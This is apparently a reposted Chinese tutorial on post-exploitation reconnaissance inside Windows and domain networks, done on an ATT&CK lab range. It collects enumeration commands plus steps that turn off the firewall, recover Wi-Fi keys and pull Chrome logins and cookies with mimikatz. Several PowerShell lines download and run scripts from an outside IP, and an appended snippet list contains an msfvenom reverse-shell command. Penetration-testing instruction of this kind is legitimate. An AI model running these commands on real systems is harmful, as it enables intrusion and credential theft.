代码编织梦想

在拿到webshell的时候,想办法获得系统信息拿到系统权限,进入到网络系统内部之后收集内部网络的各种信息,获取内部网络有价值的人员、资产信息。

内网渗透的第一步,内网信息收集。

环境搭建

ATT&CK靶场二

内网环境分析

  • 内网基础环境判断
    IP、网关、DNS、是否能联通外网、网络连接以及端口、本机host文件、机器的代理、是否在域内、域名是什么。

  • 分析机器所在位置区域
    DMZ区(两个防火墙之间的空间)、办公区、生产区、核心DB等

  • 分析机器的角色
    普通web服务器、开发服务器、文件服务器、代理服务器、DNS服务器、数据存储服务器等

  • 分析进出口流量是否能连通
    协议的判断:常见的TCP、DNS、HTTP、ICMP等协议
    端口的判断:外网vps做监听,内网机器测试常见端口,常见能出去的端口有有80,8080,443,53,110,123等

# TCP协议:
vps: nc -lvvp 8888
target: nc vps-ip 8888

# HTTP协议:
vps: nc -lvvp 80
target: curl vps-ip 80

# ICMP协议:
vps: tcpdump icmp
target: ping vps-ip

# DNS协议:
vps: nc -u -lvp 53
target: nslookup www.baidu.com vps-ip
	    dig @vps-ip www.baidu.com

工作组信息收集

工作组

工作组(Work Group):是最常见最简单最普通的资源管理模式,就是将不同的电脑按功能分别列入不同的组中, 以方便管理。

  1. 默认情况下所有计算机都处在名为WORKGROUP的工作组中
  2. 工作组资源管理模式适合于网络中计算机不多,对管理要求不严格的情况。
  3. 它的建立步骤简单,使用起来也很好上手。大部分中小公司都采取工作组的方式对资源进行权限分配和目录共享。
  4. 相同组中的不同用户通过对方主机的用户名和密码可以查看对方共享的文件夹,默认共享的是 Users 目录。
  5. 不同组的不同用户通过对方主机的用户名和密码也可以查看对方共享的文件夹。
  6. 所以工作组并不存在真正的集中管理作用,工作组里的所有计算机都是对等的,也就是没有服务器和客户机之分的。

控制面板-系统和安全-系统
网络

本机信息

操作系统、权限、内网IP地址段、杀软、端口、服务、补丁情况、网络环境情况、共享、会话等

如果是域内主机,那么操作系统、应用软件、补丁、服务、杀软一般都是批量安装的。

内网网段信息

只有找到不同网段才能进行纵向渗透,否则只能横向渗透

  1. 内网网段扫描
  2. 文件共享、FTP连接记录、浏览器访问记录、mstsc连接记录
  3. 渗透路由器、交换机

用户信息

# 查看本机用户列表
net user

# 获取本地管理员信息
net localgroup administrators

# 查看当前在线用户
quser
quser user
quser user || qwinsta

# 查当前用户在目标系统中的具体权限
whoami /all

#查看当前权限
whoami && whoami /priv

#查看当前机器中所有的组名,了解不同组的职能,如IT、HR、ADMIN、FILE
net localgroup

系统信息

# 查询网络配置信息,ip地址段信息收集
ifconfig /all

# 查询操作系统以及软件信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系统 
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #中文系统

# 查看当前系统版本
wmic OS get Caption,CSDVersion,OSArchitecture,Version

#查看系统体系结构 
echo %PROCESSOR_ARCHITECTURE%

#查询本机服务信息 
wmic service list brief

#查看安装的软件的版本、路径等 
wmic product get name, version 
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"

#查询进程信息 
tasklist wmic process list brief

#查看启动程序信息 
wmic startup get command,caption

#查看计划任务 
at(win10之前) 
schtasks /query /fo LIST /v(win10)

#查看主机开机时间 
net statistics workstation

#列出或断开本地计算机与所连接的客户端的对话 
net session

# 查询端口列表,本机开放的端口所对应的服务和应用程序
netstat -ano/atnp

#查看远程连接信息 
cmdkey /l

#查看补丁列表 
systeminfo | findstr KB

#查看补丁的名称、描述、ID、安装时间等 
wmic qfe get Caption,Description,HotFixID,InstalledOn

#查看杀软 
WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

#查看本地密码策略 
net accounts

#查看hosts文件: 
Linux:cat /etc/hosts 
Windows:type c:\Windows\system32\drivers\etc\hosts

#查看dns缓存 
ipconfig  /displaydns

网络信息

#查看本机所有的tcp,udp端口连接及其对应的pid 
netstat -ano

#查看本机所有的tcp,udp端口连接,pid及其对应的发起程序 
netstat -anob

#查看路由表和arp缓存 
route print 
arp -a

#查看本机共享列表和可访问的域共享列表 (445端口) 
net share 
wmic share get name,path,status

#磁盘映射 
net use k: \\192.168.1.10\c$

防火墙信息

#关闭防火墙(Windows Server 2003 以前的版本) 
netsh firewall set opmode disable 

#关闭防火墙(Windows Server 2003 以后的版本) 
netsh advfirewall set allprofiles state off

#查看防火墙配置(netsh命令也可以用作端口转发) 
netsh firewall show config

#查看配置规则 
netsh advfirewall firewall show rule name=all

代理信息

REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer

#通过pac文件自动代理情况 
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL

代理
代理

wifi密码

netsh wlan show profile 
netsh wlan show profile name="HUAWEI-MINGY" key=clear

回收站内容获取

FOR /f "skip=1 tokens=1,2 delims= " %c in ('wmic useraccount get name^,sid') do dir /a /b C:\$Recycle.Bin\%d\ ^>%c.txt

目录路径在 C:\$Recycle.Bin

翻垃圾
$I 开头的文件保存的是路径信息
$R 开头的文件保存的是文件内容

Chorme历史记录和Cookie获取

%localappdata%\google\chrome\USERDA~1\default\LOGIND~1 
%localappdata%\google\chrome\USERDA~1\default\cookies

chrome的用户信息,保存在本地文件为sqlite 数据库格式

mimikatz.exe privilege::debug log "dpapi::chrome 
/in:%localappdata%\google\chrome\USERDA~1\default\LOGIND~1" exit


mimikatz.exe privilege::debug log "dpapi::chrome 
/in:%localappdata%\google\chrome\USERDA~1\default\cookies /unprotect" exit

Powershell

# FTP访问、共享连接、putty连接、驱动、应用程序、hosts 文件、进程、无线网络记录
powershell iex(new-object net.webclient).downloadstring('http://47.104.255.11:8000/Get-Information.ps1');GetInformation

MSF信息收集

run scraper

/root/.msf4/logs/scripts/scraper

run winenum

/root/.msf4/logs/scripts/winenum

域内信息收集

域(domain):域是一个有安全边界的计算机集合

安全边界:在两个域中,一个域中的用户无法访问另一个域中的资源)。

将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,域是组织与存储 资源的核心管理单元,在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库。

工作组和域的区别

域成员计算机在登录的时候可以选择登录到域中或此计算机。
域登录
登陆到域中的时候,身份验证是采用Kerberos协议在域控制器上进行的
登陆到此计算机时,是通过SAM来进行NTLM验证的。

默认情况下,域用户可以登录到域中所有的工作站,不包括域控制器,管理员也可以指定具体的计算机,域用户 信息保存在活动目录中。

域控 DC(Domain Control)

在域架构中域控是用来管理所有客户端的服务器,它负责每一台联入的电脑和用户的验证工作,域内电脑如果想 互相访问首先都得经过它的审核。

域控是域架构的核心,每个域控制器上都包含了AD活动目录数据库。一个域中可能要有至少两个域控。一个作为 DC,一个是备份DC。

活动目录:AD(Active Directory)

  • 域环境中提供目录服务的组件;
  • 在活动目录中,所有的网络对象信息以一种结构化的数据存储方式来保存;
  • 活动目录存储着有关网络对象的信息,如用户、组、计算机、共享资源、打印机和联系人等;
  • 安装有AD活动目录的服务器就是域控DC。

用户可以通过AD活动目录定位到内网中的资源位置。

活动目录主要功能:

  • 帐号集中管理:所有帐号均存在服务器上,方便对帐号的重命名/重置密码。
  • 软件集中管理:统一推送软件,统一安装网络打印机等。利用软件发布策略分发软件,可以让用户自由选择安装软件。 • 环境集中管理:利用AD可以统一客户端桌面,IE,TCP/IP等设置。
  • 增强安全性:统一部署杀毒软件和扫毒任务,集中化管理用户的计算机权限、统一制订用户密码策略等,可监控网络,资料统 一管理。
  • 更可靠:更少的宕机时间。如:利用AD控制用户访问权限,利用群集、负载均衡等技术对文件服务器进行容灾设定,更可靠, 宕机时间更少。

活动目录为Microsoft统一管理的基础平台,其它 ISA、Exchange、SMS 等服务都依赖于这个基础平台。

容器

  • Builtin容器:Builtin容器是Active Driectory默认创建的第一个容器,主要用于保存域中本地安全组。
  • Computers容器:Computers容器是Active Driectory默认创建的第2个容器,用于存放windows server域内所有成员计算 机的计算机账号。
  • Domain Controllers容器:Domain Controllers是一个特殊的容器,主要用于保存当前域控制器下创建的所有子域和辅助域。
  • Users容器:Users容器主要用于保存安装Active Driectory时系统自动创建的用户和登录到当前域控制器的所有用户账户。
    容器

DNS域名服务器

  • 域控服务器要求DNS服务器按名称查找计算机、成员服务器和网络服务。
  • 域名解析:DNS服务器通过其A记录将域名解析成IP地址
  • 定位活动目录服务:客户机通过DNS服务器上的 SRV 服务记录定位提供某一个服务的计算机

Net组件

# 查询域
new view /domain

# 查询域内的所有计算机
net view /domain:mingym

# 查询域内所有用户组(Enterprise Admins组权限最大)
net group /domain

# 查看域管理员的用户组
net group "domain admins" /domain

 # 查询所有域成员计算机列表 
 net group "domain computers" /domain

# 查询域系统管理员用户组 
net group "Enterprise admins" /domain

# 查看域控制器 
net group "domain controllers" /domain

# 对比查看"工作站域DNS名称(域名)"和"登录域()域控制器"的信息是否相匹配 
net config workstation

#  查看域内所有账号 
net user /domain

# 查询指定用户的详情信息 
net user xxx /domain

# 查看时间可以找到域控 
net time /domain

# 查看域密码策略 
net accounts /domain

# 查看当前登录域 
net config workstation

# 登录本机的域管理员 
net localgroup administrators /domain

dsquery

dsquery工具一般在域控上才有,不过可以上传一个dsquery

# 查看当前域内的所有机器
dsquery computer

# 查看当前域内中 的所有账户名
dsquery user

# 查看当前域内 的所有组名
dsquery group

# 查看当前域所在的网段,结合nbtscan使用
dsquery subnet

# 查看域内所有的web站点
dsquery site

# 查看当前域内的服务器(一般结果只有域控的主机名)
dsquery server

# 查看前240个以admin开头的用户名
dsquery user domainroot -name admin* -limit 240

在这里插入图片描述
在这里插入图片描述

其他

# 查看域内信任关系
nltest /domain_trusts

# 查看域控制器的机器名
nltest /DCLIST:MINGY

# 查看域内邮件服务器
nslookup -q=mx mingy.com

# 查看域内DNS服务器
nslookup -q=ns mingy,com

# 查看域内的主控域,仅限win2008及以上系统
netdom query pdc

在这里插入图片描述

定位域控

 # ipconfig 
 ipconfig /all

# 查询dns解析记录 
nslookup -type=all _ldap._tcp.dc._msdcs.mingy.com

# spn扫描 
在SPN扫描结果中可以通过如下内容,来进行域控的定位。 

CN=DC,OU=Domain Controllers,DC=mingy,DC=com

 # net group 
 net group "domain controllers" /domain
 
# 端口识别 
端口:389 
服务:LDAP、ILS 
说明:轻型目录访问协议和NetMeeting Internet Locator Server共用这一端口。

端口:53 
服务:Domain Name Server(DNS) 
说明:53端口为DNS(Domain Name Server,域名服务器)服务器所开放,主要用于域名解析,DNS服务在NT系统中使用的最 为广泛。通过DNS服务器可以实现域名与IP地址之间的转换,只要记住域名就可以快速访问网站。

内网存活探测

Netbios协议探测

Netbios:

IBM公司开发,主要用于数十台计算机的小型局域网。该协议是一种在局域网上的程序可以使用的应用程序编程接口(API),为 程序提供了请求低级服务的同一的命令集,作用是为了给局域网提供网络以及其他特殊功能。系统可以利用WINS服务、广播及 Lmhost文件等多种模式将NetBIOS名-——特指基于NETBIOS协议获得计算机名称——解析为相应IP地址,实现信息通讯,所以 在局域网内部使用NetBIOS协议可以方便地实现消息通信及资源的共享

  1. nmap扫描
    nmap -sU -T4 --script nbstat.nse -p 137 10.10.10.0/24

  2. msf扫描
    msf > use auxiliary/scanner/netbios/nbname

  3. Nbtscan
    项目地址

    # WIndows:
    nbtscan.exe -m 10.10.10.0/24
    nbtscan -n
    
    # Linux:
    nbtscan -r 10.10.10.0/24
    

ICMP协议探测

ICMP是TCP/IP协议族的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是 否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。

  1. CMD扫描内网C段存活主机

    命令行直显:
    >for /l %i in (1,1,255) do @ ping 192.168.8.%i -w 1 -n 1|find /i "ttl="
    cmd
    输出内容导出

    @for /l %i in (1,1,255) do @ping -n 1 -w 40 10.10.10.%i & if errorlevel 1 (echo 10.10.10.%i>>c:\a.txt) else (echo 10.10.10.%i >>c:\b.txt)
    
    
  2. NMAP扫描

    扫描一个C段下存活的主机
    nmap -sn -PE -T4 192.168..1/24

  3. Powershell扫描

    powershell.exe ‐exec bypass ‐Command "Import‐Module ./Invoke‐TSPingSweep.ps1; Invoke‐TSPingSweep ‐StartAddress 192.168.1.1 ‐EndAddress 192.168.1.254 ‐ResolveHost ‐ScanPort ‐Port 445,135"
    
    powershell iex(new-object net.webclient).downloadstring('http://47.104.255.11:8000/Invoke-TSPingSweep.ps1');InvokeTSPingSweep -StartAddress 10.10.10.1 -EndAddress 10.10.10.254 -ResolveHost -ScanPort -Port 445,135
    

UDP协议探测

UDP(User Datagram Protocol)是一种无连接的协议,在第四层-传输层,处于IP协议的上一层。UDP有不提供数据包分组、 组装和不能对数据包进行排序的缺点,也就是说,当报文发送之后,是无法得知其是否安全完整到达的。

  1. nmap扫描
    nmap -sU -T4 -sV --max-retries 1 192.168.1.100 -p 500

  2. MSF扫描

    msf> use auxiliary/scanner/discovery/udp_probe
    msf> use auxiliary/scanner/discovery/udp_sweep
    
  3. Unicornscan扫描

    linux下推荐使用
    unicornscan -mU 192.168.1.10

ARP协议探测

ARP,通过解析网路层地址来找寻数据链路层地址的一个在网络协议包中极其重要的网络传输协议。根据IP地址获取物理地址的一 个TCP/IP协议。主机发送信息时将包含目标IP地址的ARP请求广播到网络上的所有主机,并接收返回消息,以此确定目标的物理地址

  1. nmap扫描
    nmap -sn -PR 192.168.1.1/24
  2. msf扫描
    msf> use auxiliary/scanner/discovery/arp_sweep
  3. Netdiscover
    netdiscover -r 10.10.10.0/24 -i eth1
  4. Powershell
    powershell.exe -exec bypass -Command "Import-Module .\arpscan.ps1;InvokeARPScan -CIDR 192.168.1.0/24"
  5. arp-scan(linux)
    传送门
    arp-scan -interface=eth1 --localnet
  6. arp-scan(windows)
    不稳定传送门
    arp-scan.exe -t 10.10.10.0/24

SMB协议探测

  1. nmap
    nmap -sU -sS --script smb-enum-shares.nse -p 445 192.168.1.111
  2. Crackmapexec
    默认为100线程
    crackmapexec smb 10.10.10.0/24
  3. msf
    msf> use auxiliary/scanner/smb/smb_version

域内端口探测

  1. msf中的portscan模块
    use auxiliary/scanner/portscan/syn
  2. Nishang中的Invoke-PortScan模块
    端口扫描,默认扫描常见端口,也可以用 -Port指定端口
    powershell iex(new-object net.webclient).downloadstring('http://47.104.255.11:8000/Invoke-PortScan.ps1');InvokePortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.255 -ResolveHost -ScanPort
    
  3. F-NAScan
    F-NAScan

总结

在这里插入图片描述

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/keenshinsword/article/details/110471079

关于pgadmin v4一直卡在loading页面的问题解决-爱代码爱编程

关于pgadmin v4一直卡在loading页面的问题解决 许久不用postgresql 的 pgadmin,昨天需要用的时候,发现突然打不开了,一直卡在loading的页面。然后尝试了卸载重装各种版本也不管用,最后找到了一个方法,现在分享给大家。(windows系统适用) 打开Registry Editor. 点击进入开始菜单,然后输

Windows10 & Python3 部署Robot FrameWork自动化测试框架-爱代码爱编程

一、Python3 环境部署 #1.下载3.7版本的Python3 ,自行安装。注意是3.7,不要安装最新版的python3,有坑。 #2.配置Path环境变量,如下图(根据自己安装python的实际路径设置)    二、Robot Framework 及相关包安装 #1.在线安装robotframwork,在cmd命令下输入:pip ins

windows下 微信同时在线多开脚本 cmd格式-爱代码爱编程

原文地址:https://blog.csdn.net/csd_nuser/article/details/110468773 找到微信目录 新建weChat.bat(名字随意) @echo off start D:\"Program Files (x86)"\Tencent\WeChat\WeChat.exe start D:\"Program

【Windows】之解决端口被占用问题-爱代码爱编程

1、启动 windows 的命令窗口,按键盘上的 win + R, 然后在输入框中输入 cmd,即可启动命令窗口 2、输入 netstat -ano 命令查看当前系统的所有端口的使用情况 C:\Users\Administrator> netstat -ano 活动连接 协议 本地地址 外部地址

MySQL数据库root密码忘记了别怕,看这里-爱代码爱编程

忘记的话我们需要重置root密码,然后进行重设root密码,下面我来讲一下流程 1,打开任务管理器先将MySQL服务停掉 2,找到c盘下面的my.in文件,并使用管理员权限打开,找到[mysqld],在下面添加skip-grant-tables,修改完成记得保存,如果右键没有管理员打开的话先打开属性,给其读写权限 3,重新启动mysql服务,

全网最详细,bat不弹黑框/不显示控制台方法-爱代码爱编程

双击bat文件不弹黑框/不显示控制台方法 方法一 编写一个vbs文件,用vbs打开bat就可以不弹框了 set shell=wscript.createObject("wscript.shell") run=shell.Run("D:\test.bat", 0) 其中Run函数: 0:不显示控制台 1:显示控制台 而且vbs不区分大小写,

msf中收到了sessions却不反弹meterpreter的原因-爱代码爱编程

msf中收到了sessions却不反弹meterpreter的原因 问题描述: 生成木马 ​msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.189.130 lport=12346 -f exe >/hack.exe

CVE-2020-0796漏洞利用-爱代码爱编程

CVE-2020-0796漏洞利用 漏洞背景 微软3月11日发布,披露地址: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-0796 此次漏洞很接近2017年的永恒之蓝漏洞(ms17_010),都是利用445端口的SMB进行攻击 而且攻击者可以构造特定的网页,压缩包,共享目录,OFF

DC-2靶机渗透实战-爱代码爱编程

主机渗透系统: kali linux 靶机: DC-2 渗透过程: 先扫网段内存活主机,发现192.168.1.41是靶机ip 扫描靶机所有开放的端口 然后访问80端口的服务,这里根据靶机下载页面上面的提示需要设置hosts文件 访问页面是一个wordpess,找到flag1 它提示登录找到下一个flag,也提示了cewl

细谈渗透测试的前期工作——信息收集-爱代码爱编程

细谈渗透测试的前期工作——信息收集 前言0x01 收集什么信息0x02 作用和收集方法总结 前言 都说学安全的,查资料找信息什么的都是基本功,收集信息的能力都是杠杠的,经常网上有什么热门的事情,小伙伴们都会来找我帮他们找点瓜吃,也常常让我帮忙找特定的一些岛国教育资料,真是工具人实锤了。。咳咳扯远了,扯远了。 所谓知己知彼,百战不殆,要做好渗透

DVWA在Mac上的安装配置-爱代码爱编程

DVWA在Mac上的安装配置 此处使用的是XAMPP+DVWA 刚开始配置DVWA,在网上找了一大波教程,其中有几个步骤总是有点懵逼,所以自己写了一个比较简单的配置步骤,希望对大家的学习有帮助。 一、解压安装DVWA XAMPP下载地址DVWA下载地址 安装XAMPP,与普通应用安装相同 安装好之后运行XAMPP 在Services中打

CEH v11 笔记总结 Module 2-爱代码爱编程

CEH v11 笔记 Module 2 Footprinting and Reconnaissance 1. Footprinting Concepts 1.1. What is Footprinting An essential aspect of footprinting is identifying the level of risk ass